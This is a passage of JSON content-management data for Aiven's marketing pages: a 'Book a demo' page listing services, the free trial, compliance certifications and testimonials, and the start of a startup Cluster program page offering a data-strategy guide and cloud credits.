center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"description":[{"_key":"83ee1d6a3f3f","_type":"block","children":[{"_key":"2ce1cbcb541a","_type":"span","marks":[],"text":"Deploy popular technologies with just a few clicks to stream, store, and serve data to your applications."}],"markDefs":[],"style":"normal"},{"_key":"0b47909b2978","_type":"block","children":[{"_key":"23de9ad3824b","_type":"span","marks":[],"text":"In a 30 minute personalized demo, we will:"}],"markDefs":[],"style":"normal"},{"_key":"049564f9edc9","_type":"block","children":[{"_key":"916c3a49debc","_type":"span","marks":[],"text":"Focus on your priorities among Aiven for: Apache Kafka®, Apache Flink®, OpenSearch®, ClickHouse®, PostgreSQL® and more."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c467f7186671","_type":"block","children":[{"_key":"fe79864aca86","_type":"span","marks":[],"text":"Show how managed services can unleash your productivity."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"headline":[{"_key":"ce76ddcce5ee","_type":"block","children":[{"_key":"3b3ea0aba4310","_type":"span","marks":[],"text":"Experience our Unified "},{"_key":"e801521a2323","_type":"span","marks":["color-primary"],"text":"Data and AI"},{"_key":"4d76ec4afebd","_type":"span","marks":[],"text":" Platform"}],"markDefs":[],"style":"h1"},{"_key":"77bc71bc85e3","_type":"block","children":[{"_key":"0aa4dd96e232","_type":"span","marks":[],"text":"Deploy popular technologies with just a few clicks to stream, store, and serve data to your applications."}],"markDefs":[],"style":"normal"},{"_key":"3973e152662b","_type":"block","children":[{"_key":"a4ff3b4e009c","_type":"span","marks":[],"text":"In a 30 minute personalized demo, we will:"}],"markDefs":[],"style":"normal"},{"_key":"22977b18e65d","_type":"block","children":[{"_key":"6e5c22bf4834","_type":"span","marks":[],"text":"Focus on your priorities among Aiven for: Apache Kafka®, Apache Flink®, OpenSearch®, ClickHouse®, PostgreSQL® and more."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"876f7f12b8a6","_type":"block","children":[{"_key":"0dbe9ae1dba3","_type":"span","marks":[],"text":"Show how managed services can unleash your productivity."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"imageSize":"small","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"Select your preferred date \u0026 time","externalUrl":"https://aiven.io/book-demo?q_showExperience=experience-1708930179099","title":"Schedule a demo"},"roundedCorners":"rounded-b","tagline":"Book your personalized demo today!","title":"Experience our Unified Data and AI Platform","titleMultiColor":true,"variant":"default"},{"_key":"34923ee7da7c","_type":"arcade","addSpaceBottom":false,"addSpaceTop":false,"arcadeHeight":56,"arcadeID":"Qu23OFL2otb0JrreOt4L","arcadeTitle":"Create service","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"13120e29c33f","_type":"block","children":[{"_key":"95a6e26189630","_type":"span","marks":["e21d1deaccf4"],"text":"Free plan"},{"_key":"45a8a0318147","_type":"span","marks":[],"text":" available with Aiven for PostgreSQL, Aiven for Valkey, and Aiven for MySQL."}],"markDefs":[{"_key":"e21d1deaccf4","_type":"link","href":"https://aiven.io/docs/platform/concepts/free-plan"}],"style":"normal"},{"_key":"fe3b04e87cdf","_type":"block","children":[{"_key":"d58de9e176aa0","_type":"span","marks":[],"text":"Or, do a free "},{"_key":"529dbf1d6c3c","_type":"span","marks":["5c85c686ff18"],"text":"30-day trial"},{"_key":"437cc115308c","_type":"span","marks":[],"text":" to try other services."}],"markDefs":[{"_key":"5c85c686ff18","_type":"link","href":"https://aiven.io/docs/platform/concepts/free-trial"}],"style":"normal"},{"_key":"2290981dea77","_type":"block","children":[{"_key":"9accdc0246ce0","_type":"span","marks":[],"text":"$300 credit to play with"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7659e8291d98","_type":"block","children":[{"_key":"70136e8d5b340","_type":"span","marks":[],"text":"Unrestricted access to Aiven services"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"12aae2684eb3","_type":"block","children":[{"_key":"a148fbdeffae0","_type":"span","marks":[],"text":"If you continue using Aiven after your 30-day trial, you only pay for what you use. There are no hidden charges. You can shut it down, or spin up clusters, add services, or change cloud providers at the click of a button. "},{"_key":"6e51ec45ec40","_type":"span","marks":["71ee0e553b68"],"text":"Try it now!"}],"markDefs":[{"_key":"71ee0e553b68","_type":"link","href":"https://console.aiven.io/signup"}],"style":"normal"}],"tagline":"Try the Aiven Platform","title":"Quick and easy","topOverlap":false,"variant":"split"},{"_key":"30c28c85a6f1","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"items":[{"_key":"c7727e53b779","_ref":"8662ec2b-c191-4332-897f-afb653ad04b6","_type":"reference"},{"_key":"f07a51ca0532","_ref":"1e4be7a3-736a-4ff6-9437-b1691a8ccab7","_type":"reference"},{"_key":"f3695a2b51bf","_ref":"7c38c6b2-006e-497b-898b-c762beacacaa","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"eb40e3d6392f","_type":"block","children":[{"_key":"3d5927e2b3f10","_type":"span","marks":[],"text":"We are proud to help customers from all industries, small and large, to accomplish their goals."}],"markDefs":[],"style":"normal"}],"title":"Your success is our success","variant":"logo"},{"_key":"46a8410ca31c","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"items":[{"_key":"bec645ef9170","_type":"testimonialItem","content":[{"_key":"faa2774cc950","_type":"block","children":[{"_key":"aabe7f79cf0c0","_type":"span","marks":[],"text":"Supermetrics' CTO Duleepa \"Dups\" Wijayawardhana, explains how Aiven has helped them channel their data across the clouds."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"04b8d980-f8cb-40c6-a6cb-54a2a9607e5a","_type":"reference"},"title":"Explore our customer spotlight"},"ytId":"oQIjSwWxE14"}],"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-br","variant":"media"},{"_key":"z565v4twhc4ys815r8rvsutmknxsjxxf","_type":"serviceList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","compliance":[{"_key":"3dtsvdpx45rvkhmg0rmblt0h7m228gcp","_type":"textIconItem","icon":{"_type":"mainImage","alt":"ISO 27001 logo","asset":{"_ref":"image-1bdfde2875e6ddebd644205ed02f511116278f6a-40x40-svg","_type":"reference"}},"title":"ISO 27001 / 27017 / 27018 / 27701"},{"_key":"28mo66zd4ubqphnkdcbwuzyiy7xzg5gx","_type":"textIconItem","icon":{"_type":"mainImage","alt":"SOC2 logo","asset":{"_ref":"image-83778ee98c9e049769d003e7a753efa4b63a276b-40x40-svg","_type":"reference"}},"title":"SOC2"},{"_key":"ohuff8i5idnv9qv1j6n2i4g1qs9u8wm9","_type":"textIconItem","icon":{"_type":"mainImage","alt":"HIPAA logo","asset":{"_ref":"image-a315c2be874b3ceebef8ad2dedd9e8ebf0735b66-40x40-svg","_type":"reference"}},"title":"HIPAA"},{"_key":"649mu6x5go3sojry4jkmw9u43koz4mw0","_type":"textIconItem","icon":{"_type":"mainImage","alt":"PCI-DSS logo","asset":{"_ref":"image-755a96d4bd3934033e98ac391d913265d09537af-40x40-svg","_type":"reference"}},"title":"PCI-DSS"},{"_key":"vm4i6q8657x5rjvbh8dy3zv31s4e7lkn","_type":"textIconItem","icon":{"_type":"mainImage","alt":"GDPR logo","asset":{"_ref":"image-203403621ac80cf3125943af581ab051cfe3b2fc-40x40-svg","_type":"reference"}},"title":"GDPR"}],"disabled":false,"fullWidth":true,"hostProviders":[{"_key":"y3g6152ezceije418ete53c98m6jsze1","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"ckkmd4bb7y4271118nvlelt4gz5ak26v","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"8bzi5t0l0c3xmo6e8cs9shhy4mca6huf","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"ueofkmn3ovziwd67wd8ylk19wkbkunpv","_ref":"258b8e39-3cd1-44ef-a40b-bedd6c834665","_type":"reference"},{"_key":"qh7x0qb8jlcci7vi7moc5sx7shhjcuy7","_ref":"2c2f2baa-24b0-4b7a-812b-bed3f20f2030","_type":"reference"},{"_key":"gwdqdwgxz5s9hurixi99omkvvcdle1fa","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"},{"_key":"oetj73np5xa39xpcompyhxv4i26lop7r","_ref":"9039a507-d3b4-402a-964b-6fa829d56ef8","_type":"reference"}],"identity":[{"_key":"tb72clnp8522x7tjp9exsgmweah46cgu","_type":"textIconItem","icon":{"_type":"mainImage","alt":"Auth0 logo","asset":{"_ref":"image-2aadb73ffc8ecbc3747f4ba5ca1705b1e1f9e776-38x48-png","_type":"reference"}},"title":"Auth0"},{"_key":"6cbtzogaw4xrx354uhs1qriygf9bpwxa","_type":"textIconItem","icon":{"_type":"mainImage","alt":"FusionAuth logo","asset":{"_ref":"image-464fc02ec7c43c5947991a0eb54dacf652749812-47x48-png","_type":"reference"}},"title":"FusionAuth"},{"_key":"uf1qwiek18xy7rizowhf0wyctgxpvc5h","_type":"textIconItem","icon":{"_type":"mainImage","alt":"Azure AD logo","asset":{"_ref":"image-6ea6284e995c0582493b818cbddd45f5b331204c-512x512-png","_type":"reference"}},"title":"Azure AD"},{"_key":"6nf6f2047wrkfp0ev284hbnvr370xrer","_type":"textIconItem","icon":{"_type":"mainImage","alt":"Okta logo","asset":{"_ref":"image-7ca00d77106a3a3e685189391226e0a369971d49-512x512-png","_type":"reference"}},"title":"Okta"},{"_key":"2a12iia3x1e3j7rh0ut5fb9o4jrinu4k","_type":"textIconItem","icon":{"_type":"mainImage","alt":"OneLogin logo","asset":{"_ref":"image-cf4caddee0c6423b881728ae13d5e028bac6ee1a-462x462-png","_type":"reference"}},"title":"OneLogin"},{"_key":"ce7ab2jexuqoijr6evwgzz102sdlqmoo","_type":"textIconItem","icon":{"_type":"mainImage","alt":"Google logo","asset":{"_ref":"image-67c9baae7ccc0cddbb36097f4245bb85e5bd15b5-49x48-png","_type":"reference"}},"title":"Google"}],"integrations":[{"_key":"zknspue9gwaakhiupcq3fq3vzejlgwg0","_ref":"22d8ccfb-b77c-4029-94c0-c7519397935a","_type":"reference"},{"_key":"p18gaha771khuuuxp20xrqrpg9273urt","_ref":"6b6199d0-5ca3-421d-91df-82fb15688d28","_type":"reference"},{"_key":"z76qmivnwx2uw1n5jkara74nunfnfiiz","_ref":"2ba1dfda-6041-4ac9-b258-085aa41ebfa1","_type":"reference"},{"_key":"s1e9nzn6efo86t7v5n57rb1ubwd0puv2","_ref":"beb356d4-e5a4-4c9c-abfa-9f58e3d9cebc","_type":"reference"},{"_key":"e971wymfmdchf0bngg90rxfw74gus2w8","_ref":"fb7167db-3a21-49ad-836b-c1b8b34eaa77","_type":"reference"},{"_key":"shgxt1xb1yy03kurxob780c9dhhwghvt","_ref":"5965cdaa-ee18-4090-a084-62463619b757","_type":"reference"},{"_key":"z4p5ijk1zek9kut1v6dbwlnsx2qt2m07","_ref":"ab20f261-f294-45ca-8289-e369255c7366","_type":"reference"},{"_key":"14w5spsvzdqqdq73e4aozfmbxrb2hbyc","_ref":"db1c8e5c-df2f-48b1-aae4-852962d61aeb","_type":"reference"},{"_key":"7xvef0uzguodr9a6ia9vb09yybp1lma6","_ref":"98cebc13-16ae-42db-a6de-4458949c0dc3","_type":"reference"},{"_key":"1vejgxin0e4rfcax2ftap6yl5ezohd0q","_ref":"76a88a82-92c9-409d-9f30-30207c9ba701","_type":"reference"},{"_key":"m20shv3anizbk9zofa5m79g52tbrycem","_ref":"5007821b-436e-4ebb-8a07-242c4a5f7448","_type":"reference"},{"_key":"3t436va8x53h1vbpx18hixh9nyacwunx","_ref":"157b3267-4eb0-49eb-ad17-537d5a95772d","_type":"reference"},{"_key":"t9ew36cdsk4kefjxaqfrl5t14xd1953h","_ref":"4bed5fe2-e20e-4edc-b54b-5bb47e9fd982","_type":"reference"},{"_key":"qfagvtjmd20mfv6ztpjf4j9tnq07602d","_ref":"4b76ba83-b8b9-4f4e-b04f-670c2994ce1e","_type":"reference"}],"managed":[{"_key":"ecgcglt13uao5ybu2k8yl6w6asud7pp4","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-380123baa06f9ca6bb46fe482bdcc97c47209fa5-40x40-svg","_type":"reference"}},"title":"Option for 24/7 enterprise support"},{"_key":"t44jh65vxe8xomitwg19sy98w5necuho","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-8474ceba50fe54d50d2670a9c9addbaa3cda6c3a-40x40-svg","_type":"reference"}},"title":"99,99% uptime"},{"_key":"s9s9xl7i4d3jvhjwu32wxc6re9gemnbx","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-e78c0cfc10eb10e0f1755722c4e90bca06cb515b-40x40-svg","_type":"reference"}},"title":"High availability"},{"_key":"yqp6hyqxdwu8jhnuy0it3d1kv1i6p3gy","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-9c38e4da11ad04c0092f9636f7a9fd83031bd77d-40x40-svg","_type":"reference"}},"title":"6+ clouds and 100+ regions"},{"_key":"9th0wbazusb2kreizvuu4lkuwvz10o6l","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-9b722bb976b2ca9767d6e95bbe71206a156c84f8-40x40-svg","_type":"reference"}},"title":"Automated backup"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","securityNetwork":[{"_key":"wr6d51klrwo9r069cp2bi1z03z6q6n61","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-c195dd4a51d06e7435afd3a72c230871cb99de24-40x40-svg","_type":"reference"}},"title":"Encryption in transit and at rest"},{"_key":"cnor268b9zltru45p81lu7t0jpku49jk","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-7129481004ef88ea22a8c2f6a2c7daaf7126bb9a-40x40-svg","_type":"reference"}},"title":"Dedicated virtual machines"},{"_key":"oelbm0nf5smc9st3e84j5dnduhrpqnz9","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-cf142cafaab2b83bf2b2fa991a3a582da04545b1-40x40-svg","_type":"reference"}},"title":"Automated security updates"},{"_key":"8k4bmtwba09x1a4umptu370l7k0etbzp","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-4101100615713e748e9a72604adb0a26b86ab150-40x40-svg","_type":"reference"}},"title":"VPC Peering"},{"_key":"6v2ikzan03574x1jhvqk65pek2xtmi8w","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-f3ffa2a39382f848d72e84cb80bda5c8df0c4088-40x40-svg","_type":"reference"}},"title":"Private-link"},{"_key":"4dw70lrsr468mekccep4m901r4alm78f","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-e5612d6f4c1fce0ace581f6e2b1ff516f266ee26-40x40-svg","_type":"reference"}},"title":"Transit-gateway"}],"services":[{"_key":"a4ezhd1k1si1imnkphg68nxyy4k89jfx","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"90a9ad6dcbde1a26b6583a51dcffd08e","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"reference"},{"_key":"4b28b2f14424eb4667b29c01af519d7f","_ref":"62cedd51-63b9-476e-8e2e-9076cef60562","_type":"reference"},{"_key":"6huf19kicgdkrikkgxa35dwuo6ld1gdd","_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"reference"},{"_key":"bb74bd07dfc949188889456937da26ca","_ref":"db342e52-911f-4028-8bf6-22a131000126","_type":"reference"},{"_key":"3c021a110777d1e52f86f36a142e7825","_ref":"dbcea4b7-b6c9-43d7-a23f-b09594966858","_type":"reference"},{"_key":"b3db0fd61779782c487d4bb6cb73065b","_ref":"4a513bb1-7be8-4a17-a847-cbbeedb2da2b","_type":"reference"},{"_key":"bd3u3sogsjifj8qzfj86qp68rja9fc1i","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"imv7a7i4no05ok7fq1yfuvw828mg0i74","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"},{"_key":"392r37l4w78a3pl3l52jk9dkwb07o4vt","_ref":"32901e10-74d0-48c8-a797-be1bb58c8839","_type":"reference"},{"_key":"1cjrucqaq3u62wdzljxspasgzflovl05","_ref":"15ecb747-c8c1-42ad-baab-e7551844a508","_type":"reference"},{"_key":"lvlx54euzo6sqh4ktmbwol9mqmxd0j01","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"reference"},{"_key":"wwyfhibsgf0rhigxqypnzmut9679w6oa","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"5hb5z0qdjegk2360pq516rfp7yluqega","_ref":"d7af1e8f-797a-4896-8a4f-3cfc07701050","_type":"reference"},{"_key":"xtwxf4o2n5k5wy6azj5jx56acihd3b6g","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"reference"}],"subtitle":[{"_key":"cc0f3c606eb5","_type":"block","children":[{"_key":"cfb517037286","_type":"span","marks":[],"text":"Aiven’s all-in-one cloud data "},{"_key":"6301d3f68602","_type":"span","marks":["c4dd16fd8761"],"text":"platform"},{"_key":"d89c0a9c9516","_type":"span","marks":[],"text":" combines all the tools you need to connect to the data services you use, on all major cloud providers."}],"markDefs":[{"_key":"c4dd16fd8761","_type":"internalLink","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"}}],"style":"normal"}],"title":"What does Aiven do?","tools":[{"_key":"n7durxensmrmecq34foxddbfso5j1sfr","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"reference"},{"_key":"sffzj0cfodypzm6ejlhgvm0y5wc7ko54","_ref":"2c9ddba5-c82b-4166-95c8-22f314164f97","_type":"reference"},{"_key":"4iq2tm108r3g3n2nluk6t5k6jim744yk","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"reference"},{"_key":"dxscqgml12fw4svzzpr1frydidkuxxea","_ref":"7179878d-2860-4cc5-a30e-a1e24b236517","_type":"reference"}]},{"_key":"754fvfiyaqgrnov8k6o7di4cn75fpq1s","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-ba35631acc0eb21098da3e2f4d7d78198ce29710-2528x428-png","_type":"reference"}},"imagePosition":"center","mediaWidth":"sm","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/book-demo?q_showExperience=experience-1708930179099","title":"Book a demo"},"roundedCorners":"rounded-t","secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Start free trial"},"text":[{"_key":"zsrv6xeno8rdu0233xbl6wyqvkjkcpws","_type":"block","children":[{"_key":"18u05fl0hnhccnm02vu4kczopczc4vpr","_type":"span","marks":[],"text":"Aiven takes the pain out of cloud data infrastructure management. Deploy a service on the "},{"_key":"cg7d60azcmu5m0txbkcn13aao8re3fo1","_type":"span","marks":[],"text":"Aiven Platform"},{"_key":"4z3fm0tjcn5g3aqxh2szyskybuk10q0u","_type":"span","marks":[],"text":" in 10 minutes - no credit card needed. Select your Aiven service, and the cloud and region to deploy to. You’ll be up and running in minutes."}],"markDefs":[],"style":"normal"}],"title":"Try Aiven for free","topOverlap":false,"variant":"mediaCenter"}],"modals":[{"_key":"143ba93fc421","_ref":"8ef8d8e4-702b-4e6d-8f4c-08042c1c53f4","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Book a demo with Aiven and get to know our all-in-one data infrastructure platform. Find out how you can save your teams’ time, and transform your business.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-74e2afc363049dbcaf4c654818c4e12718cc0fcd-1200x630-jpg","_type":"reference"}},"metaTitle":"Book a demo"},"slug":{"_type":"slug","current":"/book-demo"},"title":"Book a demo"} {"__i18n_lang":"en","_createdAt":"2024-12-09T11:37:28Z","_id":"3b115375-8dff-41e2-a23b-9d9df48a8a14","_rev":"tW1iVB3M02HkZ9xlNFsyQY","_type":"page","_updatedAt":"2025-01-08T17:10:20Z","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"content":[{"_key":"95d23ba5c03c","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"description":[{"_key":"378abac1d03d","_type":"block","children":[{"_key":"7b17cab9255a0","_type":"span","marks":[],"text":"Learn how to build a data-driven culture and leverage the right tools and infrastructure with our free guide developed in partnership with Sifted. Plus, discover how our Cluster program can provide up to $100,000 in credits to help you apply these insights into actionable strategies."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-ded3a7a53b08cf87062b5a2726167d70e261833d-1753x1933-png","_type":"reference"}},"imageSize":"small","primaryCTA":{"_type":"link","externalUrl":"https://form.typeform.com/to/BqNrcMLJ","title":"Apply now"},"secondaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/how-to-get-value-out-of-data","title":"Read Report"},"title":"Transform your startup's data strategy","variant":"default"},{"_key":"ec910cced8dd","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-a8f90b74457b041bdff5d7267c9aea2e50087127-794x1123-png","_type":"reference"}},"imagePosition":"center","mediaWidth":"sm","mobileImageSetting":"default","noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"65d05c5244c8","_type":"block","children":[{"_key":"ed0bc6301ffe0","_type":"span","marks":[],"text":"Read "},{"_key":"6671443ed1a0","_type":"span","marks":["8037037f8b21"],"text":"our guide"},{"_key":"d1913c376453","_type":"span","marks":[],"text":" to discover how to make data work for your startup. Here’s how your startup can get started today."}],"markDefs":[{"_key":"8037037f8b21","_type":"link","href":"https://go.aiven.io/how-to-get-value-out-of-data"}],"style":"normal"},{"_key":"b10d5508c40d","_type":"block","children":[{"_key":"97130fa7de920","_type":"span","marks":["strong"],"text":"Treat data as a strategic asset"},{"_key":"bf64da01d5ea","_type":"span","marks":[],"text":"\nAvoid information overload, focus on identifying and collecting high-quality data that aligns with your business objectives and gives you real-time insight into your product, your operations, your customers, and the market. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c65c12fdf9a5","_type":"block","children":[{"_key":"3794722e3a510","_type":"span","marks":["strong"],"text":"Leverage real-time insights"},{"_key":"3794722e3a511","_type":"span","marks":[],"text":"\nBoost your agility and reduce response times through real-time data. Drive meaningful decisions and improve your operational efficiency by keeping things simple and building team-wide collaboration and data literacy."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9d4af54cd14c","_type":"block","children":[{"_key":"d755f47f5ac50","_type":"span","marks":["strong"],"text":"Embrace AI"},{"_key":"d755f47f5ac51","_type":"span","marks":[],"text":"\nWith a robust data foundation in place, startups can take advantage of AI tools to solve specific problems. Experiment with the technology available at a low cost while focusing on a defined goal. Startups in our guide have seen around 30% improvement in productivity when using human-led AI."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"How to get value out of data","topOverlap":false,"variant":"mediaLeft"},{"_key":"ab50c24ca4b2","_type":"cardList","addSpaceBottom":false,"addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","compact":false,"darkTheme":false,"disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"b808b7907578","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"52c04e045f35","_type":"block","children":[{"_key":"8983d7d72957","_type":"span","marks":[],"text":"Gain access to the best-in-class data platform, technical support and a curated selection of open-source data technologies. Focus your energy on data analysis rather than technical complexities thanks to Aiven's simplified data infrastructure setup and management. "}],"markDefs":[],"style":"normal"},{"_key":"828368de02d5","_type":"block","children":[{"_key":"d47fe1e558f5","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Simplified data collection","variant":"icon-card"},{"_key":"817f64106bb5","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"62b9a5a23140","_type":"block","children":[{"_key":"0fbffd542b070","_type":"span","marks":[],"text":"Make faster, more informed decisions through our dedicated tools and services for real-time data processing. Easily adjust and scale your data infrastructure by seamlessly connecting our data services across any major cloud provider. Explore different technologies without the need to commit to a plan or buy right away with our Cluster program."}],"markDefs":[],"style":"normal"}],"title":"Real-time data streaming and analytics","variant":"icon-card"},{"_key":"724cd0c891bd","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"cc4dca5e195f","_type":"block","children":[{"_key":"913395dcd941","_type":"span","marks":[],"text":"Our platform is designed to support AI adoption with its advanced features and services. Ensure resources are used efficiently, and maximize performance for AI and machine learning applications with your personal AI-powered DBA. "}],"markDefs":[],"style":"normal"}],"title":" AI-driven workload optimization","variant":"icon-card"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":true,"primaryCTA":{"_type":"link","externalUrl":"https://form.typeform.com/to/BqNrcMLJ","title":"Apply now"},"roundedCorners":"rounded-tr-bl","subtitle":[{"_key":"ffd102f832bf","_type":"block","children":[{"_key":"24bbd0d66c250","_type":"span","marks":[],"text":"Ready to become data-driven? Create a scalable, data-driven foundation for your startup's growth with Aiven's Cluster Program for startups."}],"markDefs":[],"style":"normal"}],"title":" From insights to action","topOverlap":false},{"_key":"09a1db85f156","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-ffb454d1a54de839781fb952f0d6eef8ecedf028-1789x1541-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://form.typeform.com/to/BqNrcMLJ","title":"Apply now"},"roundedCorners":"rounded-none","text":[{"_key":"be82bf46a858","_type":"block","children":[{"_key":"c3cc12660aa2","_type":"span","marks":[],"text":"Want to build a data-driven startup without breaking the bank? Aiven’s all-in-one cloud data "},{"_key":"2e8768bc148c1","_type":"span","marks":["4aedda1e4512"],"text":"platform"},{"_key":"2e8768bc148c2","_type":"span","marks":[],"text":" combines all the tools you need to connect to the data services you use, on all major cloud providers."}],"markDefs":[{"_key":"4aedda1e4512","_type":"link","href":"https://aiven.io/platform"}],"style":"normal"},{"_key":"c2b812f64f53","_type":"block","children":[{"_key":"c69bfc7d83d1","_type":"span","marks":[],"text":"With the Cluster program, eligible startups can unlock up to $100,000 in credit for Aiven's fully managed services for an entire year. Gain expert support and join a vibrant community of like-minded entrepreneurs and engineers. To qualify, your startup should:"}],"markDefs":[],"style":"normal"},{"_key":"2cd069b71f53","_type":"block","children":[{"_key":"ffc24ff3c1ae","_type":"span","marks":[],"text":"Have been founded within the last 7 years."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9dc398a54378","_type":"block","children":[{"_key":"83fb47c486ee","_type":"span","marks":[],"text":"Have an affiliation with a "},{"_key":"15968a6ae691","_type":"span","marks":["fd24ec0cf7c1"],"text":"Cluster partner "},{"_key":"3f210f2a93fc","_type":"span","marks":[],"text":"(including VCs, incubators and 